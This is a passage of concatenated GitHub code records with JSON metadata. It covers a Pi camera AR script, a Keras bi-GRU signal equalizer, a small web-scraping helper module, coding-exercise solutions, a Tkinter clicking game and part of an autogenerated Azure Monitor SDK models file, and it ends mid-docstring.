print(detect_markers(undistorted_image)[1])\n for marker in markers:\n marker.highlite_marker(undistorted_image)\n \n # show the frame\n cv2.imshow(\"Frame\", undistorted_image)\n key = cv2.waitKey(1) & 0xFF\n rawCapture.truncate(0)\n\n # q : break, tap : capture\n if key == ord(\"q\"):\n break\n elif key == ord(\"\\t\"):\n captured(undistorted_image)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"gaeSeung1/jansen2","sub_path":"Backup/picam_cali_artest.py","file_name":"picam_cali_artest.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72750837208","text":"# -*- coding: utf-8 -*-\nfrom re import split\nfrom keras import layers\nimport numpy as np\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Bidirectional,GRU\nfrom keras.callbacks import ReduceLROnPlateau, EarlyStopping\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport keras.backend as K\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\n\n\ndef ANN_data_transfer_IQ(x,taps,dim):\n # x=x[:,np.newaxis]\n z=np.int(len(x)-taps)\n z_IQ = np.int(z/dim)\n y=np.zeros([z_IQ+1,taps])\n for i in range(0,z+dim,dim):\n for k in range(taps):\n y_IQ = np.int(i/dim)\n y[y_IQ,k] = x[i+k]\n return y\n\n# parameters\nn_steps = 11\nepoch=100\nbatch_size=200\nratio=0.3\ntaps = n_steps\ndims = 1\nn_features = 1\nNonlinear_order = 3\nretrain=1\n## name of file\nExtra = '1'\npath = 'Rx\\\\'\nname_Tx = ['C:\\PAM4_data.txt']\nname_Rx = ['C:\\Rx.txt']\nname_Sa = ['Rx_GRU_train_',Extra,'.txt']\nname_Sa = ''.join(name_Sa)\n## load data\nx_Tx = np.loadtxt(name_Tx)\nx_Rx = np.loadtxt(name_Rx)\n#prepare the data for LSTM\nx_Tx_length=len(x_Tx)\nx_Rx_length=len(x_Rx)\nx_train_1=x_Rx[0:np.int(x_Rx_length*ratio)]\ny_train_1=x_Tx[0:np.int(x_Tx_length*ratio)]\nx_test_1=x_Rx[np.int(x_Rx_length*ratio): ]\ny_test_1=x_Tx[np.int(x_Tx_length*ratio): ]\n\n# train sequence and label\nx_train=ANN_data_transfer_IQ(x_train_1,taps*dims,dims)\ny_train=y_train_1[np.int((taps-1)/2):np.int(-(taps-1)/2)]\nX=ANN_data_transfer_IQ(x_Rx,taps*dims,dims)\nx_test=ANN_data_transfer_IQ(x_test_1,taps*dims,dims)\ny_test=y_test_1[np.int((taps-1)/2):np.int(-(taps-1)/2)]\n\n# # reshape from [samples, timesteps] into [samples, timesteps, features]\nx_train = x_train.reshape((x_train.shape[0], x_train.shape[1], n_features))\nx_test = x_test.reshape((x_test.shape[0], x_test.shape[1], n_features))\nX = X.reshape((X.shape[0], X.shape[1], n_features))\n\n# Callback\nreduce_lr = ReduceLROnPlateau(monitor='val_mae', factor=0.9,verbose=1,\n patience=5, min_lr=0, mode='auto')\nEarlyStop = EarlyStopping(monitor='val_mae', min_delta=0.000001,\n patience=epoch*0.5, verbose=1, mode='auto')\nif retrain==True:\n modelinputs = keras.Input(shape=(n_steps, n_features),name='input_layer')\n fowardGRUinput = keras.layers.Lambda(lambda x: x[:,0:int((taps-1)/2+1),:])(modelinputs)\n backwardGRUinput = keras.layers.Lambda(lambda x: x[:,int((taps-1)/2): ,:])(modelinputs)\n forwardGRUlayer = GRU(100, activation='tanh', recurrent_activation = 'sigmoid',return_sequences=False)(fowardGRUinput)\n backwardGRUlayer = GRU(100, activation='tanh', recurrent_activation = 'sigmoid',return_sequences=False,go_backwards=True)(backwardGRUinput)\n bi_GRU = keras.layers.Concatenate()([forwardGRUlayer,backwardGRUlayer])\n y = keras.layers.Dense(1)(bi_GRU)\n model = keras.Model(inputs=modelinputs,outputs=y,name = 'bi_nn')\n\n model.compile(optimizer='adam', loss='mse', metrics=['mae'])\n model.summary()\n # fit model\n HisI=model.fit(x_train, y_train, epochs=epoch, batch_size=batch_size,\n validation_data=(x_test, y_test), callbacks=[reduce_lr,EarlyStop])\n # model.save('GRU',True,True)\nelse:\n model = keras.models.load_model('GRU'+'1485')\n# demonstrate prediction\nx_equalization=model.predict(X,batch_size=batch_size)\n##\nnewpath ='.\\\\NN'\n# if not os.path.exists(newpath):\n# os.makedirs(newpath)\nnp.savetxt(newpath+'\\\\'+name_Sa,x_equalization,fmt='%1.7e')\n\nplt.figure()\nnp.savetxt('epoch.txt',HisI.epoch,fmt='%1.7e')\nnp.savetxt('train_loss.txt',HisI.history['loss'],fmt='%1.7e')\nnp.savetxt('val_loss.txt',HisI.history['val_loss'],fmt='%1.7e')\nplt.plot(HisI.epoch,HisI.history['loss'],'r') \nplt.plot(HisI.epoch,HisI.history['val_loss'],'b')\nplt.xlabel('Epoch')\nplt.ylabel('loss')\nplt.legend(['Train loss ', 'Validation loss of '])\nplt.show()","repo_name":"huffff/Modified_Bi_GRU","sub_path":"Modified Bi-GRU.py","file_name":"Modified Bi-GRU.py","file_ext":"py","file_size_in_byte":3829,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"33470839551","text":"import re\nimport urllib2\nfrom xml.sax.saxutils import unescape as xmlunescape\n\nnumnones = 0\n\ndef unescape(string):\n '''Unescape the & escapes in html, like " returns a string '''\n \n string = string.replace(\""\", \"\\\"\") #Not done by xml lib\n string = xmlunescape(string)\n \n return string\n \ndef remove_HTML_tags(text):\n '''Removes html tags from a supplied string.\n \n Warning: This is accomplished using regular expressions that simply cut \n out all text in between and including less than and greater than \n characters.\n \n '''\n \n regex_html = re.compile(r'<.*?>')\n return regex_html.sub('', text)\n\ndef fetch_page(url):\n '''Returns the html for the webpage at the supplied url.'''\n hdr = {'User-Agent': 'Mozilla/5.0 Gecko/20100101 Firefox/4.0',\n 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Accept-Language':'en-us,en;q=0.5',\n 'Accept-Encoding':'none',\n 'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.7',\n 'Keep-Alive':'115',\n 'Connection':'keep-alive'}\n request = urllib2.Request(url, None, hdr)\n page = urllib2.urlopen(request)\n pagetext = \"\"\n \n for line in page:\n pagetext += line\n \n return pagetext\n \ndef url_content_type(url):\n from urlparse import urlparse\n o = urlparse(url)\n \n \n import httplib\n conn = httplib.HTTPConnection(o.netloc)\n conn.request(\"HEAD\", o.path)\n res = conn.getresponse()\n \n for key, value in res.getheaders():\n if key.lower() == \"content-type\":\n return value\n \ndef return_between(first_tag, second_tag, text):\n '''Returns an array of the text between the delimiters given. All text \n between the end and beginning delimiters will be discarded.\n \n Arguments:\n first_tag -- The tag to begin text harvesting. (string)\n second_tag -- The tag to end text harvesting. (string)\n text -- The string in which the tags are to be found. (string)\n \n '''\n \n basic_split = text.split(first_tag)\n \n #select only the sections which contain the close tags, discard the rest.\n second_split = []\n for i in basic_split:\n if second_tag in i:\n second_split.append(i)\n \n #Cut out the text before the close tag\n between = []\n \n for line in second_split:\n value, end = line.split(second_tag, 1)\n between.append(value)\n \n return between\n","repo_name":"josephlewis42/personal_codebase","sub_path":"python/gamebot/codescraper.py","file_name":"codescraper.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"4442705140","text":"import sys, collections\nsys.stdin = open(\"frog_input.txt\")\n\nX, Y, D = map(int, input().split())\n\nif X == Y:\n print(0)\nres = (Y - X) // D\nif (Y - X) % D != 0:\n res += 1\nprint(res)","repo_name":"yoonwoo123/Algorithm","sub_path":"코딜리티/frog.py","file_name":"frog.py","file_ext":"py","file_size_in_byte":184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1064630133","text":"# DESCRIPTION\n# You are given an array of positive integers w\n# where w[i] describes the weight of ith index (0-indexed).\n\n# We need to call the function pickIndex()\n# which randomly returns an integer in the range [0, w.length - 1].\n# pickIndex() should return the integer proportional to its weight in the w array.\n# For example, for w = [1, 3], the probability of picking the index 0 is 1 / (1 + 3) = 0.25 (i.e 25%)\n# while the probability of picking the index 1 is 3 / (1 + 3) = 0.75 (i.e 75%).\n\n# More formally, the probability of picking index i is w[i] / sum(w).\n\n\n# EXAMPLE 1:\n\n# Input\n# [\"Solution\",\"pickIndex\"]\n# [[[1]],[]]\n# Output\n# [null,0]\n\n# Explanation\n# Solution solution = new Solution([1]);\n# solution.pickIndex(); // return 0. Since there is only one single element on the array the only option is to return the first element.\n\n# EXAMPLE 2:\n\n# Input\n# [\"Solution\",\"pickIndex\",\"pickIndex\",\"pickIndex\",\"pickIndex\",\"pickIndex\"]\n# [[[1,3]],[],[],[],[],[]]\n# Output\n# [null,1,1,1,1,0]\n\n# Explanation\n# Solution solution = new Solution([1, 3]);\n# solution.pickIndex(); // return 1. It's returning the second element (index = 1) that has probability of 3/4.\n# solution.pickIndex(); // return 1\n# solution.pickIndex(); // return 1\n# solution.pickIndex(); // return 1\n# solution.pickIndex(); // return 0. It's returning the first element (index = 0) that has probability of 1/4.\n\n# Since this is a randomization problem, multiple answers are allowed so the following outputs can be considered correct :\n# [null,1,1,1,1,0]\n# [null,1,1,1,1,1]\n# [null,1,1,1,0,0]\n# [null,1,1,1,0,1]\n# [null,1,0,1,0,0]\n# ......\n# and so on.\n\n\n# Constraints:\n\n# 1 <= w.length <= 10000\n# 1 <= w[i] <= 10^5\n# pickIndex will be called at most 10000 times.\n\nclass Solution:\n '''\n Time: O(N), must iterate through the entire array\n Space: O(N), for the array of the prefix sum\n '''\n\n def __init__(self, w: List[int]):\n # creates a prefix sum\n self.prefix_sum = []\n prefix_sum = 0\n for i in w:\n prefix_sum += i\n self.prefix_sum.append(prefix_sum)\n self.total_sum = prefix_sum\n\n def pickIndex(self) -> int:\n rand_num = self.total_sum * random.random()\n left = 0\n right = len(self.prefix_sum)\n\n while left < right:\n mid = left + (right - left) // 2\n # want to keep the leftmost result as\n # rand_num is a float and needs to be in a range\n if rand_num > self.prefix_sum[mid]:\n left = mid + 1\n else:\n right = mid\n\n return left\n\n\n# Your Solution object will be instantiated and called as such:\n# obj = Solution(w)\n# param_1 = obj.pickIndex()\n","repo_name":"Joes-BitGit/Leetcode","sub_path":"leetcode/random_pick_with_weight.py","file_name":"random_pick_with_weight.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17034573710","text":"from tkinter import *\nfrom random import randrange as rnd, choice\nimport time\nroot=Tk()\nroot.geometry('800x600')\n\ncanv=Canvas(root,bg='white')\ncanv.pack(fill=BOTH,expand=1)\n\n\ncolors=['red','orange','yellow','green','blue']\ndef new_ball():\n \"\"\"создает шарики случайного размера в случайной точке экрана\n \"\"\"\n global x,y,r\n canv.delete(ALL)\n x=rnd(100,700)\n y=rnd(100,500)\n r=rnd(30,50)\n canv.create_oval(x-r,y-r,x+r,y+r,fill=choice(colors),width=0)\n root.after(1000,new_ball)\n \nscore=0 \ndef click(event):\n global score\n if (event.x-x)**2+(event.y-y)**2 <= r**2:\n score+=1\n print('Score: ', score)\n \n\ncanv.bind('', click)\nnew_ball()\nmainloop()\n","repo_name":"Alekhina/infa_2019_alekhina","sub_path":"lab6/catch_the_ball.py","file_name":"catch_the_ball.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43133833336","text":"import datetime\nfrom typing import Dict, List, Optional, Union\n\nfrom azure.core.exceptions import HttpResponseError\nimport msrest.serialization\n\nfrom ._monitor_management_client_enums import *\n\n\nclass ActionGroupList(msrest.serialization.Model):\n \"\"\"A list of action groups.\n\n :param value: The list of action groups.\n :type value: list[~$(python-base-namespace).v2018_09_01.models.ActionGroupResource]\n :param next_link: Provides the link to retrieve the next set of elements.\n :type next_link: str\n \"\"\"\n\n _attribute_map = {\n 'value': {'key': 'value', 'type': '[ActionGroupResource]'},\n 'next_link': {'key': 'nextLink', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n value: Optional[List[\"ActionGroupResource\"]] = None,\n next_link: Optional[str] = None,\n **kwargs\n ):\n super(ActionGroupList, self).__init__(**kwargs)\n self.value = value\n self.next_link = next_link\n\n\nclass ActionGroupPatchBody(msrest.serialization.Model):\n \"\"\"An action group object for the body of patch operations.\n\n :param tags: A set of tags. Resource tags.\n :type tags: dict[str, str]\n :param enabled: Indicates whether this action group is enabled. If an action group is not\n enabled, then none of its actions will be activated.\n :type enabled: bool\n \"\"\"\n\n _attribute_map = {\n 'tags': {'key': 'tags', 'type': '{str}'},\n 'enabled': {'key': 'properties.enabled', 'type': 'bool'},\n }\n\n def __init__(\n self,\n *,\n tags: Optional[Dict[str, str]] = None,\n enabled: Optional[bool] = True,\n **kwargs\n ):\n super(ActionGroupPatchBody, self).__init__(**kwargs)\n self.tags = tags\n self.enabled = enabled\n\n\nclass Resource(msrest.serialization.Model):\n \"\"\"An azure resource object.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n All required parameters must be populated in order to send to Azure.\n\n :ivar id: Azure resource Id.\n :vartype id: str\n :ivar name: Azure resource name.\n :vartype name: str\n :ivar type: Azure resource type.\n :vartype type: str\n :param location: Required. Resource location.\n :type location: str\n :param tags: A set of tags. Resource tags.\n :type tags: dict[str, str]\n \"\"\"\n\n _validation = {\n 'id': {'readonly': True},\n 'name': {'readonly': True},\n 'type': {'readonly': True},\n 'location': {'required': True},\n }\n\n _attribute_map = {\n 'id': {'key': 'id', 'type': 'str'},\n 'name': {'key': 'name', 'type': 'str'},\n 'type': {'key': 'type', 'type': 'str'},\n 'location': {'key': 'location', 'type': 'str'},\n 'tags': {'key': 'tags', 'type': '{str}'},\n }\n\n def __init__(\n self,\n *,\n location: str,\n tags: Optional[Dict[str, str]] = None,\n **kwargs\n ):\n super(Resource, self).__init__(**kwargs)\n self.id = None\n self.name = None\n self.type = None\n self.location = location\n self.tags = tags\n\n\nclass ActionGroupResource(Resource):\n \"\"\"An action group resource.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n All required parameters must be populated in order to send to Azure.\n\n :ivar id: Azure resource Id.\n :vartype id: str\n :ivar name: Azure resource name.\n :vartype name: str\n :ivar type: Azure resource type.\n :vartype type: str\n :param location: Required. Resource location.\n :type location: str\n :param tags: A set of tags. Resource tags.\n :type tags: dict[str, str]\n :param group_short_name: The short name of the action group. This will be used in SMS messages.\n :type group_short_name: str\n :param enabled: Indicates whether this action group is enabled. If an action group is not\n enabled, then none of its receivers will receive communications.\n :type enabled: bool\n :param email_receivers: The list of email receivers that are part of this action group.\n :type email_receivers: list[~$(python-base-namespace).v2018_09_01.models.EmailReceiver]\n :param sms_receivers: The list of SMS receivers that are part of this action group.\n :type sms_receivers: list[~$(python-base-namespace).v2018_09_01.models.SmsReceiver]\n :param webhook_receivers: The list of webhook receivers that are part of this action group.\n :type webhook_receivers: list[~$(python-base-namespace).v2018_09_01.models.WebhookReceiver]\n :param itsm_receivers: The list of ITSM receivers that are part of this action group.\n :type itsm_receivers: list[~$(python-base-namespace).v2018_09_01.models.ItsmReceiver]\n :param azure_app_push_receivers: The list of AzureAppPush receivers that are part of this\n action group.\n :type azure_app_push_receivers: list[~$(python-base-\n namespace).v2018_09_01.models.AzureAppPushReceiver]\n :param automation_runbook_receivers: The list of AutomationRunbook receivers that are part of\n this action group.\n :type automation_runbook_receivers: list[~$(python-base-\n namespace).v2018_09_01.models.AutomationRunbookReceiver]\n :param voice_receivers: The list of voice receivers that are part of this action group.\n :type voice_receivers: list[~$(python-base-namespace).v2018_09_01.models.VoiceReceiver]\n :param logic_app_receivers: The list of logic app receivers that are part of this action group.\n :type logic_app_receivers: list[~$(python-base-namespace).v2018_09_01.models.LogicAppReceiver]\n :param azure_function_receivers: The list of azure function receivers that are part of this\n action group.\n :type azure_function_receivers: list[~$(python-base-\n namespace).v2018_09_01.models.AzureFunctionReceiver]\n :param arm_role_receivers: The list of ARM role receivers that are part of this action group.\n Roles are Azure RBAC roles and only built-in roles are supported.\n :type arm_role_receivers: list[~$(python-base-namespace).v2018_09_01.models.ArmRoleReceiver]\n \"\"\"\n\n _validation = {\n 'id': {'readonly': True},\n 'name': {'readonly': True},\n 'type': {'readonly': True},\n 'location': {'required': True},\n 'group_short_name': {'max_length': 12, 'min_length': 0},\n }\n\n _attribute_map = {\n 'id': {'key': 'id', 'type': 'str'},\n 'name': {'key': 'name', 'type': 'str'},\n 'type': {'key': 'type', 'type': 'str'},\n 'location': {'key': 'location', 'type': 'str'},\n 'tags': {'key': 'tags', 'type': '{str}'},\n 'group_short_name': {'key': 'properties.groupShortName', 'type': 'str'},\n 'enabled': {'key': 'properties.enabled', 'type': 'bool'},\n 'email_receivers': {'key': 'properties.emailReceivers', 'type': '[EmailReceiver]'},\n 'sms_receivers': {'key': 'properties.smsReceivers', 'type': '[SmsReceiver]'},\n 'webhook_receivers': {'key': 'properties.webhookReceivers', 'type': '[WebhookReceiver]'},\n 'itsm_receivers': {'key': 'properties.itsmReceivers', 'type': '[ItsmReceiver]'},\n 'azure_app_push_receivers': {'key': 'properties.azureAppPushReceivers', 'type': '[AzureAppPushReceiver]'},\n 'automation_runbook_receivers': {'key': 'properties.automationRunbookReceivers', 'type': '[AutomationRunbookReceiver]'},\n 'voice_receivers': {'key': 'properties.voiceReceivers', 'type': '[VoiceReceiver]'},\n 'logic_app_receivers': {'key': 'properties.logicAppReceivers', 'type': '[LogicAppReceiver]'},\n 'azure_function_receivers': {'key': 'properties.azureFunctionReceivers', 'type': '[AzureFunctionReceiver]'},\n 'arm_role_receivers': {'key': 'properties.armRoleReceivers', 'type': '[ArmRoleReceiver]'},\n }\n\n def __init__(\n self,\n *,\n location: str,\n tags: Optional[Dict[str, str]] = None,\n group_short_name: Optional[str] = None,\n enabled: Optional[bool] = True,\n email_receivers: Optional[List[\"EmailReceiver\"]] = None,\n sms_receivers: Optional[List[\"SmsReceiver\"]] = None,\n webhook_receivers: Optional[List[\"WebhookReceiver\"]] = None,\n itsm_receivers: Optional[List[\"ItsmReceiver\"]] = None,\n azure_app_push_receivers: Optional[List[\"AzureAppPushReceiver\"]] = None,\n automation_runbook_receivers: Optional[List[\"AutomationRunbookReceiver\"]] = None,\n voice_receivers: Optional[List[\"VoiceReceiver\"]] = None,\n logic_app_receivers: Optional[List[\"LogicAppReceiver\"]] = None,\n azure_function_receivers: Optional[List[\"AzureFunctionReceiver\"]] = None,\n arm_role_receivers: Optional[List[\"ArmRoleReceiver\"]] = None,\n **kwargs\n ):\n super(ActionGroupResource, self).__init__(location=location, tags=tags, **kwargs)\n self.group_short_name = group_short_name\n self.enabled = enabled\n self.email_receivers = email_receivers\n self.sms_receivers = sms_receivers\n self.webhook_receivers = webhook_receivers\n self.itsm_receivers = itsm_receivers\n self.azure_app_push_receivers = azure_app_push_receivers\n self.automation_runbook_receivers = automation_runbook_receivers\n self.voice_receivers = voice_receivers\n self.logic_app_receivers = logic_app_receivers\n self.azure_function_receivers = azure_function_receivers\n self.arm_role_receivers = arm_role_receivers\n\n\nclass ArmRoleReceiver(msrest.serialization.Model):\n \"\"\"An arm role receiver.\n\n All required parameters must be populated in order to send to Azure.\n\n :param name: Required. The name of the arm role receiver. Names must be unique across all\n receivers within an action group.\n :type name: str\n :param role_id: Required. The arm role id.\n :type role_id: str\n \"\"\"\n\n _validation = {\n 'name': {'required': True},\n 'role_id': {'required': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'role_id': {'key': 'roleId', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: str,\n role_id: str,\n **kwargs\n ):\n super(ArmRoleReceiver, self).__init__(**kwargs)\n self.name = name\n self.role_id = role_id\n\n\nclass AutomationRunbookReceiver(msrest.serialization.Model):\n \"\"\"The Azure Automation Runbook notification receiver.\n\n All required parameters must be populated in order to send to Azure.\n\n :param automation_account_id: Required. The Azure automation account Id which holds this\n runbook and authenticate to Azure resource.\n :type automation_account_id: str\n :param runbook_name: Required. The name for this runbook.\n :type runbook_name: str\n :param webhook_resource_id: Required. The resource id for webhook linked to this runbook.\n :type webhook_resource_id: str\n :param is_global_runbook: Required. Indicates whether this instance is global runbook.\n :type is_global_runbook: bool\n :param name: Indicates name of the webhook.\n :type name: str\n :param service_uri: The URI where webhooks should be sent.\n :type service_uri: str\n \"\"\"\n\n _validation = {\n 'automation_account_id': {'required': True},\n 'runbook_name': {'required': True},\n 'webhook_resource_id': {'required': True},\n 'is_global_runbook': {'required': True},\n }\n\n _attribute_map = {\n 'automation_account_id': {'key': 'automationAccountId', 'type': 'str'},\n 'runbook_name': {'key': 'runbookName', 'type': 'str'},\n 'webhook_resource_id': {'key': 'webhookResourceId', 'type': 'str'},\n 'is_global_runbook': {'key': 'isGlobalRunbook', 'type': 'bool'},\n 'name': {'key': 'name', 'type': 'str'},\n 'service_uri': {'key': 'serviceUri', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n automation_account_id: str,\n runbook_name: str,\n webhook_resource_id: str,\n is_global_runbook: bool,\n name: Optional[str] = None,\n service_uri: Optional[str] = None,\n **kwargs\n ):\n super(AutomationRunbookReceiver, self).__init__(**kwargs)\n self.automation_account_id = automation_account_id\n self.runbook_name = runbook_name\n self.webhook_resource_id = webhook_resource_id\n self.is_global_runbook = is_global_runbook\n self.name = name\n self.service_uri = service_uri\n\n\nclass AzureAppPushReceiver(msrest.serialization.Model):\n \"\"\"The Azure mobile App push notification receiver.\n\n All required parameters must be populated in order to send to Azure.\n\n :param name: Required. The name of the Azure mobile app push receiver. Names must be unique\n across all receivers within an action group.\n :type name: str\n :param email_address: Required. The email address registered for the Azure mobile app.\n :type email_address: str\n \"\"\"\n\n _validation = {\n 'name': {'required': True},\n 'email_address': {'required': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'email_address': {'key': 'emailAddress', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: str,\n email_address: str,\n **kwargs\n ):\n super(AzureAppPushReceiver, self).__init__(**kwargs)\n self.name = name\n self.email_address = email_address\n\n\nclass AzureFunctionReceiver(msrest.serialization.Model):\n \"\"\"An azure function receiver.\n\n All required parameters must be populated in order to send to Azure.\n\n :param name: Required. The name of the azure function receiver. Names must be unique across all\n receivers within an action group.\n :type name: str\n :param function_app_resource_id: Required. The azure resource id of the function app.\n :type function_app_resource_id: str\n :param function_name: Required. The function name in the function app.\n :type function_name: str\n :param http_trigger_url: Required. The http trigger url where http request sent to.\n :type http_trigger_url: str\n \"\"\"\n\n _validation = {\n 'name': {'required': True},\n 'function_app_resource_id': {'required': True},\n 'function_name': {'required': True},\n 'http_trigger_url': {'required': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'function_app_resource_id': {'key': 'functionAppResourceId', 'type': 'str'},\n 'function_name': {'key': 'functionName', 'type': 'str'},\n 'http_trigger_url': {'key': 'httpTriggerUrl', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: str,\n function_app_resource_id: str,\n function_name: str,\n http_trigger_url: str,\n **kwargs\n ):\n super(AzureFunctionReceiver, self).__init__(**kwargs)\n self.name = name\n self.function_app_resource_id = function_app_resource_id\n self.function_name = function_name\n self.http_trigger_url = http_trigger_url\n\n\nclass Baseline(msrest.serialization.Model):\n \"\"\"The baseline values for a single sensitivity value.\n\n All required parameters must be populated in order to send to Azure.\n\n :param sensitivity: Required. The sensitivity of the baseline. Possible values include: \"Low\",\n \"Medium\", \"High\".\n :type sensitivity: str or ~$(python-base-namespace).v2018_09_01.models.Sensitivity\n :param low_thresholds: Required. The low thresholds of the baseline.\n :type low_thresholds: list[float]\n :param high_thresholds: Required. The high thresholds of the baseline.\n :type high_thresholds: list[float]\n \"\"\"\n\n _validation = {\n 'sensitivity': {'required': True},\n 'low_thresholds': {'required': True},\n 'high_thresholds': {'required': True},\n }\n\n _attribute_map = {\n 'sensitivity': {'key': 'sensitivity', 'type': 'str'},\n 'low_thresholds': {'key': 'lowThresholds', 'type': '[float]'},\n 'high_thresholds': {'key': 'highThresholds', 'type': '[float]'},\n }\n\n def __init__(\n self,\n *,\n sensitivity: Union[str, \"Sensitivity\"],\n low_thresholds: List[float],\n high_thresholds: List[float],\n **kwargs\n ):\n super(Baseline, self).__init__(**kwargs)\n self.sensitivity = sensitivity\n self.low_thresholds = low_thresholds\n self.high_thresholds = high_thresholds\n\n\nclass BaselineMetadataValue(msrest.serialization.Model):\n \"\"\"Represents a baseline metadata value.\n\n :param name: The name of the metadata.\n :type name: ~$(python-base-namespace).v2018_09_01.models.LocalizableString\n :param value: The value of the metadata.\n :type value: str\n \"\"\"\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'LocalizableString'},\n 'value': {'key': 'value', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: Optional[\"LocalizableString\"] = None,\n value: Optional[str] = None,\n **kwargs\n ):\n super(BaselineMetadataValue, self).__init__(**kwargs)\n self.name = name\n self.value = value\n\n\nclass BaselineResponse(msrest.serialization.Model):\n \"\"\"The response to a baseline query.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n :ivar id: The metric baseline ID.\n :vartype id: str\n :ivar type: The resource type of the baseline resource.\n :vartype type: str\n :ivar name: The name and the display name of the metric, i.e. it is localizable string.\n :vartype name: ~$(python-base-namespace).v2018_09_01.models.LocalizableString\n :param timespan: The timespan for which the data was retrieved. Its value consists of two\n datetimes concatenated, separated by '/'. This may be adjusted in the future and returned back\n from what was originally requested.\n :type timespan: str\n :param interval: The interval (window size) for which the metric data was returned in. This\n may be adjusted in the future and returned back from what was originally requested. This is\n not present if a metadata request was made.\n :type interval: ~datetime.timedelta\n :param aggregation: The aggregation type of the metric.\n :type aggregation: str\n :param timestamps: The array of timestamps of the baselines.\n :type timestamps: list[~datetime.datetime]\n :param baseline: The baseline values for each sensitivity.\n :type baseline: list[~$(python-base-namespace).v2018_09_01.models.Baseline]\n :param metadata: The baseline metadata values.\n :type metadata: list[~$(python-base-namespace).v2018_09_01.models.BaselineMetadataValue]\n \"\"\"\n\n _validation = {\n 'id': {'readonly': True},\n 'type': {'readonly': True},\n 'name': {'readonly': True},\n }\n\n _attribute_map = {\n 'id': {'key': 'id', 'type': 'str'},\n 'type': {'key': 'type', 'type': 'str'},\n 'name': {'key': 'name', 'type': 'LocalizableString'},\n 'timespan': {'key': 'properties.timespan', 'type': 'str'},\n 'interval': {'key': 'properties.interval', 'type': 'duration'},\n 'aggregation': {'key': 'properties.aggregation', 'type': 'str'},\n 'timestamps': {'key': 'properties.timestamps', 'type': '[iso-8601]'},\n 'baseline': {'key': 'properties.baseline', 'type': '[Baseline]'},\n 'metadata': {'key': 'properties.metadata', 'type': '[BaselineMetadataValue]'},\n }\n\n def __init__(\n self,\n *,\n timespan: Optional[str] = None,\n interval: Optional[datetime.timedelta] = None,\n aggregation: Optional[str] = None,\n timestamps: Optional[List[datetime.datetime]] = None,\n baseline: Optional[List[\"Baseline\"]] = None,\n metadata: Optional[List[\"BaselineMetadataValue\"]] = None,\n **kwargs\n ):\n super(BaselineResponse, self).__init__(**kwargs)\n self.id = None\n self.type = None\n self.name = None\n self.timespan = timespan\n self.interval = interval\n self.aggregation = aggregation\n self.timestamps = timestamps\n self.baseline = baseline\n self.metadata = metadata\n\n\nclass CalculateBaselineResponse(msrest.serialization.Model):\n \"\"\"The response to a calculate baseline call.\n\n All required parameters must be populated in order to send to Azure.\n\n :param type: Required. The resource type of the baseline resource.\n :type type: str\n :param timestamps: The array of timestamps of the baselines.\n :type timestamps: list[~datetime.datetime]\n :param baseline: Required. The baseline values for each sensitivity.\n :type baseline: list[~$(python-base-namespace).v2018_09_01.models.Baseline]\n \"\"\"\n\n _validation = {\n 'type': {'required': True},\n 'baseline': {'required': True},\n }\n\n _attribute_map = {\n 'type': {'key': 'type', 'type': 'str'},\n 'timestamps': {'key': 'timestamps', 'type': '[iso-8601]'},\n 'baseline': {'key': 'baseline', 'type': '[Baseline]'},\n }\n\n def __init__(\n self,\n *,\n type: str,\n baseline: List[\"Baseline\"],\n timestamps: Optional[List[datetime.datetime]] = None,\n **kwargs\n ):\n super(CalculateBaselineResponse, self).__init__(**kwargs)\n self.type = type\n self.timestamps = timestamps\n self.baseline = baseline\n\n\nclass EmailReceiver(msrest.serialization.Model):\n \"\"\"An email receiver.\n\n Variables are only populated by the server, and will be ignored when sending a request.\n\n All required parameters must be populated in order to send to Azure.\n\n :param name: Required. The name of the email receiver. Names must be unique across all\n receivers within an action group.\n :type name: str\n :param email_address: Required. The email address of this receiver.\n :type email_address: str\n :ivar status: The receiver status of the e-mail. Possible values include: \"NotSpecified\",\n \"Enabled\", \"Disabled\".\n :vartype status: str or ~$(python-base-namespace).v2018_09_01.models.ReceiverStatus\n \"\"\"\n\n _validation = {\n 'name': {'required': True},\n 'email_address': {'required': True},\n 'status': {'readonly': True},\n }\n\n _attribute_map = {\n 'name': {'key': 'name', 'type': 'str'},\n 'email_address': {'key': 'emailAddress', 'type': 'str'},\n 'status': {'key': 'status', 'type': 'str'},\n }\n\n def __init__(\n self,\n *,\n name: str,\n email_address: str,\n **kwargs\n ):\n super(EmailReceiver, self).__init__(**kwargs)\n self.name = name\n self.email_address = email_address\n self.status = None\n\n\nclass EnableRequest(msrest.serialization.Model):\n \"\"\"Describes a receiver that should be resubscribed.\n\n All required parameters must be populated in order to send to Azure.\n\n :param 